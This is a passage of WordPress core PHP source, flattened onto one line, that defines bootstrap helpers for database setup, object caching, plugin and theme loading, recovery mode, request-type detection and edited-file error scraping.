table prefix and the format specifiers for database * table columns. * * Columns not listed here default to `%s`. * * @since 3.0.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * @global string $table_prefix The database table prefix. */ function wp_set_wpdb_vars() { global $wpdb, $table_prefix; if ( ! empty( $wpdb->error ) ) { dead_db(); } $wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d', 'parent' => '%d', 'count' => '%d', 'object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'comment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d', 'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d', 'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d', // Multisite: 'active' => '%d', 'cat_id' => '%d', 'deleted' => '%d', 'lang_id' => '%d', 'mature' => '%d', 'public' => '%d', 'site_id' => '%d', 'spam' => '%d', ); $prefix = $wpdb->set_prefix( $table_prefix ); if ( is_wp_error( $prefix ) ) { wp_load_translations_early(); wp_die( sprintf( /* translators: 1: $table_prefix, 2: wp-config.php */ __( 'Error: %1$s in %2$s can only contain numbers, letters, and underscores.' ), '$table_prefix', 'wp-config.php' ) ); } } /** * Toggle `$_wp_using_ext_object_cache` on and off without directly * touching global. * * @since 3.7.0 * * @global bool $_wp_using_ext_object_cache * * @param bool $using Whether external object cache is being used. * @return bool The current 'using' setting. */ function wp_using_ext_object_cache( $using = null ) { global $_wp_using_ext_object_cache; $current_using = $_wp_using_ext_object_cache; if ( null !== $using ) { $_wp_using_ext_object_cache = $using; } return $current_using; } /** * Start the WordPress object cache. * * If an object-cache.php file exists in the wp-content directory, * it uses that drop-in as an external object cache. * * @since 3.0.0 * @access private * * @global array $wp_filter Stores all of the filters. */ function wp_start_object_cache() { global $wp_filter; static $first_init = true; // Only perform the following checks once. if ( $first_init ) { if ( ! function_exists( 'wp_cache_init' ) ) { /* * This is the normal situation. First-run of this function. No * caching backend has been loaded. * * We try to load a custom caching backend, and then, if it * results in a wp_cache_init() function existing, we note * that an external object cache is being used. */ if ( file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { require_once WP_CONTENT_DIR . '/object-cache.php'; if ( function_exists( 'wp_cache_init' ) ) { wp_using_ext_object_cache( true ); } // Re-initialize any hooks added manually by object-cache.php. if ( $wp_filter ) { $wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter ); } } } elseif ( ! wp_using_ext_object_cache() && file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { /* * Sometimes advanced-cache.php can load object-cache.php before * this function is run. This breaks the function_exists() check * above and can result in wp_using_ext_object_cache() returning * false when actually an external cache is in use. */ wp_using_ext_object_cache( true ); } } if ( ! wp_using_ext_object_cache() ) { require_once ABSPATH . WPINC . '/cache.php'; } /* * If cache supports reset, reset instead of init if already * initialized. Reset signals to the cache that global IDs * have changed and it may need to update keys and cleanup caches. */ if ( ! $first_init && function_exists( 'wp_cache_switch_to_blog' ) ) { wp_cache_switch_to_blog( get_current_blog_id() ); } elseif ( function_exists( 'wp_cache_init' ) ) { wp_cache_init(); } if ( function_exists( 'wp_cache_add_global_groups' ) ) { wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'useremail', 'userslugs', 'site-transient', 'site-options', 'blog-lookup', 'blog-details', 'site-details', 'rss', 'global-posts', 'blog-id-cache', 'networks', 'sites', 'blog_meta' ) ); wp_cache_add_non_persistent_groups( array( 'counts', 'plugins' ) ); } $first_init = false; } /** * Redirect to the installer if WordPress is not installed. * * Dies with an error message when Multisite is enabled. * * @since 3.0.0 * @access private */ function wp_not_installed() { if ( is_multisite() ) { if ( ! is_blog_installed() && ! wp_installing() ) { nocache_headers(); wp_die( __( 'The site you have requested is not installed properly. Please contact the system administrator.' ) ); } } elseif ( ! is_blog_installed() && ! wp_installing() ) { nocache_headers(); require ABSPATH . WPINC . '/kses.php'; require ABSPATH . WPINC . '/pluggable.php'; $link = wp_guess_url() . '/wp-admin/install.php'; wp_redirect( $link ); die(); } } /** * Retrieve an array of must-use plugin files. * * The default directory is wp-content/mu-plugins. To change the default * directory manually, define `WPMU_PLUGIN_DIR` and `WPMU_PLUGIN_URL` * in wp-config.php. * * @since 3.0.0 * @access private * * @return string[] Array of absolute paths of files to include. */ function wp_get_mu_plugins() { $mu_plugins = array(); if ( ! is_dir( WPMU_PLUGIN_DIR ) ) { return $mu_plugins; } $dh = opendir( WPMU_PLUGIN_DIR ); if ( ! $dh ) { return $mu_plugins; } while ( ( $plugin = readdir( $dh ) ) !== false ) { if ( substr( $plugin, -4 ) == '.php' ) { $mu_plugins[] = WPMU_PLUGIN_DIR . '/' . $plugin; } } closedir( $dh ); sort( $mu_plugins ); return $mu_plugins; } /** * Retrieve an array of active and valid plugin files. * * While upgrading or installing WordPress, no plugins are returned. * * The default directory is `wp-content/plugins`. To change the default * directory manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL` * in `wp-config.php`. * * @since 3.0.0 * @access private * * @return string[] $plugin_file Array of paths to plugin files relative to the plugins directory. */ function wp_get_active_and_valid_plugins() { $plugins = array(); $active_plugins = (array) get_option( 'active_plugins', array() ); // Check for hacks file if the option is enabled. if ( get_option( 'hack_file' ) && file_exists( ABSPATH . 'my-hacks.php' ) ) { _deprecated_file( 'my-hacks.php', '1.5.0' ); array_unshift( $plugins, ABSPATH . 'my-hacks.php' ); } if ( empty( $active_plugins ) || wp_installing() ) { return $plugins; } $network_plugins = is_multisite() ? wp_get_active_network_plugins() : false; foreach ( $active_plugins as $plugin ) { if ( ! validate_file( $plugin ) // $plugin must validate as file. && '.php' == substr( $plugin, -4 ) // $plugin must end with '.php'. && file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist. // Not already included as a network plugin. && ( ! $network_plugins || ! in_array( WP_PLUGIN_DIR . '/' . $plugin, $network_plugins ) ) ) { $plugins[] = WP_PLUGIN_DIR . '/' . $plugin; } } /* * Remove plugins from the list of active plugins when we're on an endpoint * that should be protected against WSODs and the plugin is paused. */ if ( wp_is_recovery_mode() ) { $plugins = wp_skip_paused_plugins( $plugins ); } return $plugins; } /** * Filters a given list of plugins, removing any paused plugins from it. * * @since 5.2.0 * * @param string[] $plugins Array of absolute plugin main file paths. * @return string[] Filtered array of plugins, without any paused plugins. */ function wp_skip_paused_plugins( array $plugins ) { $paused_plugins = wp_paused_plugins()->get_all(); if ( empty( $paused_plugins ) ) { return $plugins; } foreach ( $plugins as $index => $plugin ) { list( $plugin ) = explode( '/', plugin_basename( $plugin ) ); if ( array_key_exists( $plugin, $paused_plugins ) ) { unset( $plugins[ $index ] ); // Store list of paused plugins for displaying an admin notice. $GLOBALS['_paused_plugins'][ $plugin ] = $paused_plugins[ $plugin ]; } } return $plugins; } /** * Retrieves an array of active and valid themes. * * While upgrading or installing WordPress, no themes are returned. * * @since 5.1.0 * @access private * * @return string[] Array of absolute paths to theme directories. */ function wp_get_active_and_valid_themes() { global $pagenow; $themes = array(); if ( wp_installing() && 'wp-activate.php' !== $pagenow ) { return $themes; } if ( TEMPLATEPATH !== STYLESHEETPATH ) { $themes[] = STYLESHEETPATH; } $themes[] = TEMPLATEPATH; /* * Remove themes from the list of active themes when we're on an endpoint * that should be protected against WSODs and the theme is paused. */ if ( wp_is_recovery_mode() ) { $themes = wp_skip_paused_themes( $themes ); // If no active and valid themes exist, skip loading themes. if ( empty( $themes ) ) { add_filter( 'wp_using_themes', '__return_false' ); } } return $themes; } /** * Filters a given list of themes, removing any paused themes from it. * * @since 5.2.0 * * @param string[] $themes Array of absolute theme directory paths. * @return string[] Filtered array of absolute paths to themes, without any paused themes. */ function wp_skip_paused_themes( array $themes ) { $paused_themes = wp_paused_themes()->get_all(); if ( empty( $paused_themes ) ) { return $themes; } foreach ( $themes as $index => $theme ) { $theme = basename( $theme ); if ( array_key_exists( $theme, $paused_themes ) ) { unset( $themes[ $index ] ); // Store list of paused themes for displaying an admin notice. $GLOBALS['_paused_themes'][ $theme ] = $paused_themes[ $theme ]; } } return $themes; } /** * Is WordPress in Recovery Mode. * * In this mode, plugins or themes that cause WSODs will be paused. * * @since 5.2.0 * * @return bool */ function wp_is_recovery_mode() { return wp_recovery_mode()->is_active(); } /** * Determines whether we are currently on an endpoint that should be protected against WSODs. * * @since 5.2.0 * * @return bool True if the current endpoint should be protected. */ function is_protected_endpoint() { // Protect login pages. if ( isset( $GLOBALS['pagenow'] ) && 'wp-login.php' === $GLOBALS['pagenow'] ) { return true; } // Protect the admin backend. if ( is_admin() && ! wp_doing_ajax() ) { return true; } // Protect AJAX actions that could help resolve a fatal error should be available. if ( is_protected_ajax_action() ) { return true; } /** * Filters whether the current request is against a protected endpoint. * * This filter is only fired when an endpoint is requested which is not already protected by * WordPress core. As such, it exclusively allows providing further protected endpoints in * addition to the admin backend, login pages and protected AJAX actions. * * @since 5.2.0 * * @param bool $is_protected_endpoint Whether the currently requested endpoint is protected. Default false. */ return (bool) apply_filters( 'is_protected_endpoint', false ); } /** * Determines whether we are currently handling an AJAX action that should be protected against WSODs. * * @since 5.2.0 * * @return bool True if the current AJAX action should be protected. */ function is_protected_ajax_action() { if ( ! wp_doing_ajax() ) { return false; } if ( ! isset( $_REQUEST['action'] ) ) { return false; } $actions_to_protect = array( 'edit-theme-plugin-file', // Saving changes in the core code editor. 'heartbeat', // Keep the heart beating. 'install-plugin', // Installing a new plugin. 'install-theme', // Installing a new theme. 'search-plugins', // Searching in the list of plugins. 'search-install-plugins', // Searching for a plugin in the plugin install screen. 'update-plugin', // Update an existing plugin. 'update-theme', // Update an existing theme. ); /** * Filters the array of protected AJAX actions. * * This filter is only fired when doing AJAX and the AJAX request has an 'action' property. * * @since 5.2.0 * * @param string[] $actions_to_protect Array of strings with AJAX actions to protect. */ $actions_to_protect = (array) apply_filters( 'wp_protected_ajax_actions', $actions_to_protect ); if ( ! in_array( $_REQUEST['action'], $actions_to_protect, true ) ) { return false; } return true; } /** * Set internal encoding. * * In most cases the default internal encoding is latin1, which is * of no use, since we want to use the `mb_` functions for `utf-8` strings. * * @since 3.0.0 * @access private */ function wp_set_internal_encoding() { if ( function_exists( 'mb_internal_encoding' ) ) { $charset = get_option( 'blog_charset' ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged if ( ! $charset || ! @mb_internal_encoding( $charset ) ) { mb_internal_encoding( 'UTF-8' ); } } } /** * Add magic quotes to `$_GET`, `$_POST`, `$_COOKIE`, and `$_SERVER`. * * Also forces `$_REQUEST` to be `$_GET + $_POST`. If `$_SERVER`, * `$_COOKIE`, or `$_ENV` are needed, use those superglobals directly. * * @since 3.0.0 * @access private */ function wp_magic_quotes() { // Escape with wpdb. $_GET = add_magic_quotes( $_GET ); $_POST = add_magic_quotes( $_POST ); $_COOKIE = add_magic_quotes( $_COOKIE ); $_SERVER = add_magic_quotes( $_SERVER ); /* * Revert the type change to string for two indexes which should retain their proper type. * Among other things, this preserves compatibility of WP with PHPUnit Code Coverage generation. */ if ( isset( $_SERVER['REQUEST_TIME'] ) ) { $_SERVER['REQUEST_TIME'] = (int) $_SERVER['REQUEST_TIME']; } if ( isset( $_SERVER['REQUEST_TIME_FLOAT'] ) ) { $_SERVER['REQUEST_TIME_FLOAT'] = (float) $_SERVER['REQUEST_TIME_FLOAT']; } // Force REQUEST to be GET + POST. $_REQUEST = array_merge( $_GET, $_POST ); } /** * Runs just before PHP shuts down execution. * * @since 1.2.0 * @access private */ function shutdown_action_hook() { /** * Fires just before PHP shuts down execution. * * @since 1.2.0 */ do_action( 'shutdown' ); wp_cache_close(); } /** * Copy an object. * * @since 2.7.0 * @deprecated 3.2.0 * * @param object $object The object to clone. * @return object The cloned object. */ function wp_clone( $object ) { // Use parens for clone to accommodate PHP 4. See #17880. return clone( $object ); } /** * Determines whether the current request is for an administrative interface page. * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.1 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress administration interface, false otherwise. */ function is_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin(); } elseif ( defined( 'WP_ADMIN' ) ) { return WP_ADMIN; } return false; } /** * Whether the current request is for a site's administrative interface. * * e.g. `/wp-admin/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress blog administration pages. */ function is_blog_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'site' ); } elseif ( defined( 'WP_BLOG_ADMIN' ) ) { return WP_BLOG_ADMIN; } return false; } /** * Whether the current request is for the network administrative interface. * * e.g. `/wp-admin/network/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * Does not check if the site is a Multisite network; use is_multisite() * for checking if Multisite is enabled. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress network administration pages. */ function is_network_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'network' ); } elseif ( defined( 'WP_NETWORK_ADMIN' ) ) { return WP_NETWORK_ADMIN; } return false; } /** * Whether the current request is for a user admin screen. * * e.g. `/wp-admin/user/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress user administration pages. */ function is_user_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'user' ); } elseif ( defined( 'WP_USER_ADMIN' ) ) { return WP_USER_ADMIN; } return false; } /** * If Multisite is enabled. * * @since 3.0.0 * * @return bool True if Multisite is enabled, false otherwise. */ function is_multisite() { if ( defined( 'MULTISITE' ) ) { return MULTISITE; } if ( defined( 'SUBDOMAIN_INSTALL' ) || defined( 'VHOST' ) || defined( 'SUNRISE' ) ) { return true; } return false; } /** * Retrieve the current site ID. * * @since 3.1.0 * * @global int $blog_id * * @return int Site ID. */ function get_current_blog_id() { global $blog_id; return absint( $blog_id ); } /** * Retrieves the current network ID. * * @since 4.6.0 * * @return int The ID of the current network. */ function get_current_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( ! isset( $current_network->id ) ) { return get_main_network_id(); } return absint( $current_network->id ); } /** * Attempt an early load of translations. * * Used for errors encountered during the initial loading process, before * the locale has been properly detected and loaded. * * Designed for unusual load sequences (like setup-config.php) or for when * the script will then terminate with an error, otherwise there is a risk * that a file can be double-included. * * @since 3.4.0 * @access private * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @staticvar bool $loaded */ function wp_load_translations_early() { global $wp_locale; static $loaded = false; if ( $loaded ) { return; } $loaded = true; if ( function_exists( 'did_action' ) && did_action( 'init' ) ) { return; } // We need $wp_local_package. require ABSPATH . WPINC . '/version.php'; // Translation and localization. require_once ABSPATH . WPINC . '/pomo/mo.php'; require_once ABSPATH . WPINC . '/l10n.php'; require_once ABSPATH . WPINC . '/class-wp-locale.php'; require_once ABSPATH . WPINC . '/class-wp-locale-switcher.php'; // General libraries. require_once ABSPATH . WPINC . '/plugin.php'; $locales = array(); $locations = array(); while ( true ) { if ( defined( 'WPLANG' ) ) { if ( '' == WPLANG ) { break; } $locales[] = WPLANG; } if ( isset( $wp_local_package ) ) { $locales[] = $wp_local_package; } if ( ! $locales ) { break; } if ( defined( 'WP_LANG_DIR' ) && @is_dir( WP_LANG_DIR ) ) { $locations[] = WP_LANG_DIR; } if ( defined( 'WP_CONTENT_DIR' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) ) { $locations[] = WP_CONTENT_DIR . '/languages'; } if ( @is_dir( ABSPATH . 'wp-content/languages' ) ) { $locations[] = ABSPATH . 'wp-content/languages'; } if ( @is_dir( ABSPATH . WPINC . '/languages' ) ) { $locations[] = ABSPATH . WPINC . '/languages'; } if ( ! $locations ) { break; } $locations = array_unique( $locations ); foreach ( $locales as $locale ) { foreach ( $locations as $location ) { if ( file_exists( $location . '/' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/' . $locale . '.mo' ); if ( defined( 'WP_SETUP_CONFIG' ) && file_exists( $location . '/admin-' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/admin-' . $locale . '.mo' ); } break 2; } } } break; } $wp_locale = new WP_Locale(); } /** * Check or set whether WordPress is in "installation" mode. * * If the `WP_INSTALLING` constant is defined during the bootstrap, `wp_installing()` will default to `true`. * * @since 4.4.0 * * @staticvar bool $installing * * @param bool $is_installing Optional. True to set WP into Installing mode, false to turn Installing mode off. * Omit this parameter if you only want to fetch the current status. * @return bool True if WP is installing, otherwise false. When a `$is_installing` is passed, the function will * report whether WP was in installing mode prior to the change to `$is_installing`. */ function wp_installing( $is_installing = null ) { static $installing = null; // Support for the `WP_INSTALLING` constant, defined before WP is loaded. if ( is_null( $installing ) ) { $installing = defined( 'WP_INSTALLING' ) && WP_INSTALLING; } if ( ! is_null( $is_installing ) ) { $old_installing = $installing; $installing = $is_installing; return (bool) $old_installing; } return (bool) $installing; } /** * Determines if SSL is used. * * @since 2.6.0 * @since 4.6.0 Moved from functions.php to load.php. * * @return bool True if SSL, otherwise false. */ function is_ssl() { if ( isset( $_SERVER['HTTPS'] ) ) { if ( 'on' == strtolower( $_SERVER['HTTPS'] ) ) { return true; } if ( '1' == $_SERVER['HTTPS'] ) { return true; } } elseif ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' == $_SERVER['SERVER_PORT'] ) ) { return true; } return false; } /** * Converts a shorthand byte value to an integer byte value. * * @since 2.3.0 * @since 4.6.0 Moved from media.php to load.php. * * @link https://www.php.net/manual/en/function.ini-get.php * @link https://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes * * @param string $value A (PHP ini) byte value, either shorthand or ordinary. * @return int An integer byte value. */ function wp_convert_hr_to_bytes( $value ) { $value = strtolower( trim( $value ) ); $bytes = (int) $value; if ( false !== strpos( $value, 'g' ) ) { $bytes *= GB_IN_BYTES; } elseif ( false !== strpos( $value, 'm' ) ) { $bytes *= MB_IN_BYTES; } elseif ( false !== strpos( $value, 'k' ) ) { $bytes *= KB_IN_BYTES; } // Deal with large (float) values which run into the maximum integer size. return min( $bytes, PHP_INT_MAX ); } /** * Determines whether a PHP ini value is changeable at runtime. * * @since 4.6.0 * * @staticvar array $ini_all * * @link https://www.php.net/manual/en/function.ini-get-all.php * * @param string $setting The name of the ini setting to check. * @return bool True if the value is changeable at runtime. False otherwise. */ function wp_is_ini_value_changeable( $setting ) { static $ini_all; if ( ! isset( $ini_all ) ) { $ini_all = false; // Sometimes `ini_get_all()` is disabled via the `disable_functions` option for "security purposes". if ( function_exists( 'ini_get_all' ) ) { $ini_all = ini_get_all(); } } // Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17. if ( isset( $ini_all[ $setting ]['access'] ) && ( INI_ALL === ( $ini_all[ $setting ]['access'] & 7 ) || INI_USER === ( $ini_all[ $setting ]['access'] & 7 ) ) ) { return true; } // If we were unable to retrieve the details, fail gracefully to assume it's changeable. if ( ! is_array( $ini_all ) ) { return true; } return false; } /** * Determines whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @return bool True if it's a WordPress Ajax request, false otherwise. */ function wp_doing_ajax() { /** * Filters whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @param bool $wp_doing_ajax Whether the current request is a WordPress Ajax request. */ return apply_filters( 'wp_doing_ajax', defined( 'DOING_AJAX' ) && DOING_AJAX ); } /** * Determines whether the current request should use themes. * * @since 5.1.0 * * @return bool True if themes should be used, false otherwise. */ function wp_using_themes() { /** * Filters whether the current request should use themes. * * @since 5.1.0 * * @param bool $wp_using_themes Whether the current request should use themes. */ return apply_filters( 'wp_using_themes', defined( 'WP_USE_THEMES' ) && WP_USE_THEMES ); } /** * Determines whether the current request is a WordPress cron request. * * @since 4.8.0 * * @return bool True if it's a WordPress cron request, false otherwise. */ function wp_doing_cron() { /** * Filters whether the current request is a WordPress cron request. * * @since 4.8.0 * * @param bool $wp_doing_cron Whether the current request is a WordPress cron request. */ return apply_filters( 'wp_doing_cron', defined( 'DOING_CRON' ) && DOING_CRON ); } /** * Check whether variable is a WordPress Error. * * Returns true if $thing is an object of the WP_Error class. * * @since 2.1.0 * * @param mixed $thing Check if unknown variable is a WP_Error object. * @return bool True, if WP_Error. False, if not WP_Error. */ function is_wp_error( $thing ) { return ( $thing instanceof WP_Error ); } /** * Determines whether file modifications are allowed. * * @since 4.8.0 * * @param string $context The usage context. * @return bool True if file modification is allowed, false otherwise. */ function wp_is_file_mod_allowed( $context ) { /** * Filters whether file modifications are allowed. * * @since 4.8.0 * * @param bool $file_mod_allowed Whether file modifications are allowed. * @param string $context The usage context. */ return apply_filters( 'file_mod_allowed', ! defined( 'DISALLOW_FILE_MODS' ) || ! DISALLOW_FILE_MODS, $context ); } /** * Start scraping edited file errors. * * @since 4.9.0 */ function wp_start_scraping_edited_file_errors() { if ( ! isset( $_REQUEST['wp_scrape_key'] ) || ! isset( $_REQUEST['wp_scrape_nonce'] ) ) { return; } $key = substr( sanitize_key( wp_unslash( $_REQUEST['wp_scrape_key'] ) ), 0, 32 ); $nonce = wp_unslash( $_REQUEST['wp_scrape_nonce'] ); if ( get_transient( 'scrape_key_' . $key ) !== $nonce ) { echo "###### wp_scraping_result_start:$key ######"; echo wp_json_encode( array( 'code' => 'scrape_nonce_failure', 'message' => __( 'Scrape nonce check failed. Please try again.' ), ) ); echo "###### wp_scraping_result_end:$key ######"; die(); } if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) { define( 'WP_SANDBOX_SCRAPING', true ); } register_shutdown_function( 'wp_finalize_scraping_edited_file_errors', $key ); } /** * Finalize scraping for edited file errors. * * @since 4.9.0 * * @param string $scrape_key Scrape key. */ function wp_finalize_scraping_edited_file_errors( $scrape_key ) { $error = error_get_last(); echo "\n###### wp_scraping_result_start:$scrape_key ######\n"; if ( ! empty( $error ) && in_array( $error['type'], array( E_CORE_ERROR, E_COMPILE_ERROR, E_ERROR, E_PARSE, E_USER_ERROR, E_RECOVERABLE_ERROR ), true ) ) { $error = str_replace( ABSPATH, '', $error ); echo wp_json_encode( $error ); } else { echo wp_json_encode( true ); } echo "\n###### wp_scraping_result_end:$scrape_key ######\n"; } /** * Checks whether current request is a JSON request, or is expecting a JSON response. * * @since 5.0.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `application/json`. * False otherwise. */ function wp_is_json_request() { if ( isset( $_SERVER['HTTP_ACCEPT'] ) && false !== strpos( $_SERVER['HTTP_ACCEPT'], 'application/json' ) ) { return true; } if ( isset( $_SERVER['CONTENT_TYPE'] ) && 'application/json' === $_SERVER['CONTENT_TYPE'] ) { return true; } return false; } /** * Checks whether current request is a JSONP request, or is expecting a JSONP response. * * @since 5.2.0 * * @return bool True if JSONP request, false otherwise. */ function wp_is_jsonp_request() { if ( ! isset( $_GET['_jsonp'] ) ) { return false; } if ( ! function_exists( 'wp_check_jsonp_callback' ) ) { require_once ABSPATH . WPINC . '/functions.php'; } $jsonp_callback = $_GET['_jsonp']; if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) { return false; } /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */ $jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true ); return $jsonp_enabled; } /** * Checks whether current request is an XML request, or is expecting an XML response. * * @since 5.2.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `text/xml` * or one of the related MIME types. False otherwise. */ function wp_is_xml_request() { $accepted = array( 'text/xml', 'application/rss+xml', 'application/atom+xml', 'application/rdf+xml', 'text/xml+oembed', 'application/xml+oembed', ); if ( isset( $_SERVER['HTTP_ACCEPT'] ) ) { foreach ( $accepted as $type ) { if ( false !== strpos( $_SERVER['HTTP_ACCEPT'], $type ) ) { return true; } } } if ( isset( $_SERVER['CONTENT_TYPE'] ) && in_array( $_SERVER['CONTENT_TYPE'], $accepted, true ) ) { return true; } return false; }